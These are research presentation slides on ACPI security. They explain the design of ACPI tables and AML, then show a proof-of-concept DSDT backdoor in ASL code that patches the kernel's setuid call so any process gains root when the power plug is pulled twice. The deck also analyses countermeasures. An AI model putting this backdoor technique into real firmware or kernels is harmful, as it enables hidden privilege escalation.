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Introduction (1/3)

I Power management is a key functionality for modern computers.
I Difficult to achieve for an OS, which is a generic component.
I A few years back, APM (Advanced Power Management) enabled OSes

to work with the BIOS to handle power management.
I Later on, ACPI (Advanced Configuration Power Interface) defined

common interfaces for hardware recognition and power management :
OSes can now achieve power management on their own ;
Machine-dependent functions are provided by the BIOS in ACPI tables.
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Introduction (2/3)

I So, ACPI is a crucial feature, present in (almost) each and every
computer.

I But who has ever checked what ACPI tables where actually instructing
OSes to do ?

I Can ACPI be misused by an attacker ?
I What exactly are the limits of what an attacker can do using ACPI ?
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Introduction (3/3)

I Trusted Computing relies on different technologies :
TPM ;
Virtualisation (VT-x and Pacifica) ;
Trusted boot (TxT and Presidio).

I Technologies like TxT and Presidio, aiming at excluding the BIOS from
the Trusted Computing Base, still need to trust ACPI tables.
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Overall architecture

ACPI Overall structure
(as defined in ACPI spec 3.0b)

  

Applications

OSPMDevice driver AML interpreter

Hardware

ACPI Registers ACPI BIOS ACPI Tables

Kernel

ACPI related
components
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Overall architecture

ACPI Registers

  

Applications

OSPMDevice driver AML interpreter

Hardware

ACPI Registers ACPI BIOS ACPI Tables

Kernel

OperationRegion(LIN, PCI_Config, 0x62, 0x01)
Field(LIN, ByteAcc, Nolock, Preserve)
{

INF,8
}

I ACPI registers are chipset or configuration registers that can be used for
“something” related to Power Management.

I ACPI registers can be :
PIO registers ;
Memory mapped registers ;
PCI configuration registers.

I These registers are machine-specific.
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Overall architecture

ACPI Tables and ACPI BIOS

  

Applications

OSPMDevice driver AML interpreter

Hardware

ACPI Registers ACPI BIOS ACPI Tables

Kernel

Method (_STA, 0, NotSerialized)
{

Notify (USB0, 0x0b)
If (GCUC ())
{

Return (0x0f)
}
Else
{

Return (Zero)
}

}

I ACPI BIOS : part of the BIOS related to ACPI
I ACPI tables specify the border between the machine specific world and

the OS specific world :
they implement the standard ACPI interface ;
they describe the ACPI structures and functions to be used by OSPM
(i.e which ACPI register they use and how) ;
we will focus on the DSDT (Differentiated System Description Table).

L. Duflot, O. Levillain, B. Morin 9/35



Introduction ACPI design principle ACPI from a security perspective Potential offensive uses Conclusion Questions

Overall architecture

OSPM

  

Applications

OSPMDevice driver AML interpreter

Hardware

ACPI Registers ACPI BIOS ACPI Tables

Kernel

OSPM stands for
OS-directed configuration
and Power Management

I OSPM is the component of the kernel responsible for the power
management strategy.

I It is machine-independent, and uses the ACPI common interface.
for instance OSPM knows that to check the status of the battery, it has
to run the _STA function for the BAT1 device.

I It is OS-specific, each OS may implement a different OSPM.
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Overall architecture

AML Interpreter

  

Applications

OSPMDevice driver AML interpreter

Hardware

ACPI Registers ACPI BIOS ACPI Tables

Kernel

AML stands for
ACPI Machine Language

I ACPI tables are written in AML.
I OSPM needs an AML interpreter to be able to understand ACPI tables

content and to run methods.
I The interpreter may also be available to device drivers.
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AML and ASL

ACPI Machine and Source Languages

I ACPI tables are written in AML.
I AML can easily be

disassembled in ASL (ACPI Source Language),
modified and
recompiled in AML.

with ACPICA tools (iasl)
I ASL basics :

scopes
devices
names and methods
variables
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AML and ASL

ACPI Source Language

Devices are organised as a tree in the ACPI Languages, the leaves being the
methods and the fields.

I Devices :
_SB.VBTN : Power button
_SB.PCI0 : PCI Bus
_SB.PCI0.PIC0 : Legacy Interrupt Controller
_SB.PCI0.USB0 : USB Host Controller

I Generic methods for devices :
_ON
_STA : device status
_SxD : device states
_CRS : current resource settings

I Global methods :
_PTS, _GTS, _BFS, _WAK...
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AML and ASL

ACPI Registers in ASL

I ACPI registers can be :
PCI configuration registers ;
Memory-mapped registers ;
Programmed IO registers.

I They’re defined by the OperationRegion statement :
OperationRegion(FOO, PCI_Config, Address [...])
OperationRegion(FOO, SystemIO, Address [...])

I Fields of the register can be named with the Field statement.

L. Duflot, O. Levillain, B. Morin 14/35



Introduction ACPI design principle ACPI from a security perspective Potential offensive uses Conclusion Questions

Linux ACPI implementation

Linux ACPI implementation

I ACPI support in the kernel :
DSDT in /proc or /sys (depending on the kernel version) ;
Modular support for various devices (Battery, fan, button, dock, etc.).

I ACPI daemon (acpid)
Catches “notify” events from the kernel ;
Method(_INI, 0, NotSerialized)

{ Notify(\_SB.VBTN, 0x0A) }
Runs predefined scripts in /etc/acpi/events/ directory.
event=button/power
action=/sbin/poweroff
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Security Model

I Most ACPI code runs in kernel mode (AML parser for instance) :
ACPI code needs to run with high privileges as it is used to configure
hardware.

I The OS needs to trust the AML code it is given :
This AML code is defined in the ACPI tables by the manufacturer of the
platform ;
The OS is generic and cannot identify all the valid ACPI registers.

I The chipset cannot differentiate hardware accesses corresponding to
ACPI and those not corresponding to ACPI.
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Function “profiling”

I Different ways to find when methods are called :
analyse in depth ACPI documentation and Linux ACPI code ;
enable ACPI logging and debug messages ;
patch the kernel to detect all accesses to hardware ressources.

I ACPI accesses are very easy to track.
I Interesting ACPI methods may be :

those executed at startup ;
those frequently called ;
those triggered by external event.
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Testing ACPI : modifying DSDT

Once the interesting are identified and instrumented, there are several ways
to load a modified DSDT instead of the one provided by the BIOS :

I DSDT file can be included in a initrd :
mkinitrd –dsdt=dsdt.aml initrd.gz 2.6.17-5

I Recent versions of Linux allow for insertion of a custom DSDT at kernel
compile time.

I Some functions may also be added without a reboot :
the LOAD AML statement allow for creating a new object (but not a
redefinition) ;
the original DSDT might provide an update mechanism using LOAD.
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Is there a limit to ACPI registers that can be
defined ?

# cat /proc/iomem
[...]
00100000-1f6d33ff : System RAM

00100000-002ba4aa : Kernel code
002ba4ab-0037661f : Kernel data
003bc000-0041f57f : Kernel bss

[...]

An accepted OperationRegion :

OperationRegion (KERN, SystemMemory, 0x100000, 0x0c)
Field (KERN, WordAcc, NoLock, Preserve)
{

__F1, 16,
__F2, 16,
__F3, 16,
__F4, 16,
__F5, 16,
__F6, 16

}
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Potential offensive uses

I Bugs in the DSDT might be exploitable by attackers :
an attacker could force execution of an AML bugged method in order to
gain some significant advantage on the machine ;
a random bug in a DSDT table will not necessarily be exploitable though.

I Rootkits could hide functions in DSDT tables
the OS has to trust the DSDT ;
genuine updates of the DSDT at boot time are likely (BIOS updates) ;
the attacker would make sure that the ACPI function providing rootkit
functionalities is often run by the OS.
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Attack description

Backdoor principle

I ACPI backdoor :
an external event triggers the backdoor granting maximum privileges on
the system.

I Proof of concept :
two direct pulls of the power plug trigger the backdoor ;
on a Linux system, the backdoor modifies the sys_setuid system call so
that every call to the sys_setuid grants superuser (root) privileges.
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Attack description

Modifications of the DSDT : creation of a device

Our device (ABCD) contains a register CTR which will be used as a counter.
Scope (\_SB.PCI0)
{

Device (ABCD)
{

Name (_ADR, 0x000000000)
Name (_UID, 0xca)
Name (_PRW, Package (0x02)
{ 0x18, 0x05 })

OperationRegion(REG, PCI_Config, 0x62, 0x01)
Field(REG, ByteAcc, Nolock, Preserve)
{

CTR, 8
}

Method (_S1D, 0, NotSerialized)
{ Return (One) }

Method (_S3D, 0, NotSerialized)
{ Return (One) }

[...]
}

}
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Attack description

Modifications of the DSDT : target structure
definition

We add another region representing the physical address of the setuid
system call instructions we will override.

OperationRegion (SAC, SystemMemory, 0x00175c96, 0x000c)
Field (SAC, AnyAcc, NoLock, Preserve)
{

SAC1, 32,
SAC2, 32,
SAC3, 32

}
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Attack description

Modifications of the DSDT : incrementing the
counter

I When the power plug is plugged or unplugged, the _PSR method of the
adapter (_ADP1 device) is executed, and handles our counter CTR.

I The sequence written means movl $0, 0x14c(%eax) in assembly
language.

Device (ADP1)
{

[...]

Method (_PSR, 0, NotSerialized)
{

If (LEqual (\_SB.PCI0.ABCD.CTR, 0x4))
{

Store(0x90900000, SAC3)
Store(0x0, SAC2)
Store(0x014c80c7, SAC1)

}

Increment (\_SB.PCI0.ABCD.CTR)
Return (\_SB.MEM.AACS)

}

[...]
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Attack description

Modifications of the DSDT : reinitialization of the
counter

I Regularly, we need a reset.
I We use a method that is regularly called.

Device(BAT1)
{

[...]

Method (_STA, 1, NotSerialized)
{

Store(0x1 , \_SB.PCI0.ABCD.CTR)

[...]
}

}
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Attack description

Modifications of the DSDT : summary

I Definition of a new variable CTR as a counter :
The variable is stored in an unused chipset register ;
We have used a new device, but could have been done elsewhere.

I Every once in a while, the counter is reset by BAT1._SAT.
I On external stimulus (ADP1._PSR), counter is incremented.
I When counter hits a particular value, kernel memory is modified.
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Demonstration

Demonstration

I The DSDT has been added to the init ram disk.
I Pulling the plug twice triggers the backdoor : setuid will set everyone

root.

I Live demo...

L. Duflot, O. Levillain, B. Morin 29/35



Introduction ACPI design principle ACPI from a security perspective Potential offensive uses Conclusion Questions

Analysis

What is the problem ?

I The problem is a general model problem.
I The OS cannot know what the correct ACPI registers are :

unless it understood the purpose of each and every hardware
configuration register ;
but then why would ACPI be necessary ?
so filtering IO accesses is tough for the OS.

I On the other hand, the chipset cannot tell who is accessing registers :
ACPI or device drivers ?

I Neither the CPU (OS) nor the chipset can determine what are the
legitimate ACPI accesses.

There is no policy enforcement point.
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Analysis

Difficulties

I Modifying the DSDT is a highly privileged operation :
a modified image of the DSDT in the kernel does not survive a reboot ;
the DSDT must be modified in the BIOS or at boot time.

I The scheme is mostly OS-specific :
the attack relies on the knowledge of the AML method call strategy ;
the payload uses a relevant target structure.
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Analysis

Countermeasures

I Not really convincing countermeasures :
remove ACPI support in the kernel, a really bad idea for laptops ;
remove any means to load a custom DSDT and check boot sequence
integrity ;
look for bugs in the DSDT, impossible in practice ;
accept the risk.

I In fact, we can avoid some attacks, as the kernel knows an
over-approximation of the valid ACPI registers ; it is thus possible to
enforce some (limited) control :

static analysis of the DSDT ;
run AML interpreter in userland ;
in a TxT system, run OSPM on a special VM.
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Conclusion

I ACPI is a very complex mechanism.
I ACPI code has to be trusted.

but trust in the ACPI code is difficult to achieve.
I Hiding functions in AML methods is possible for a rootkit.

but not so interesting as modifications do not necessarily survive a
reboots.

I Flaws must be sought in the overall ACPI security model.
Where is the policy enforcement point of the model ?

L. Duflot, O. Levillain, B. Morin 34/35



Introduction ACPI design principle ACPI from a security perspective Potential offensive uses Conclusion Questions

Questions

Thank you for your attention. Questions ?

L. Duflot, O. Levillain, B. Morin 35/35


	Introduction
	ACPI design principle
	Overall architecture
	AML and ASL
	Linux ACPI implementation

	ACPI from a security perspective
	Potential offensive uses
	Attack description
	Demonstration
	Analysis

	Conclusion

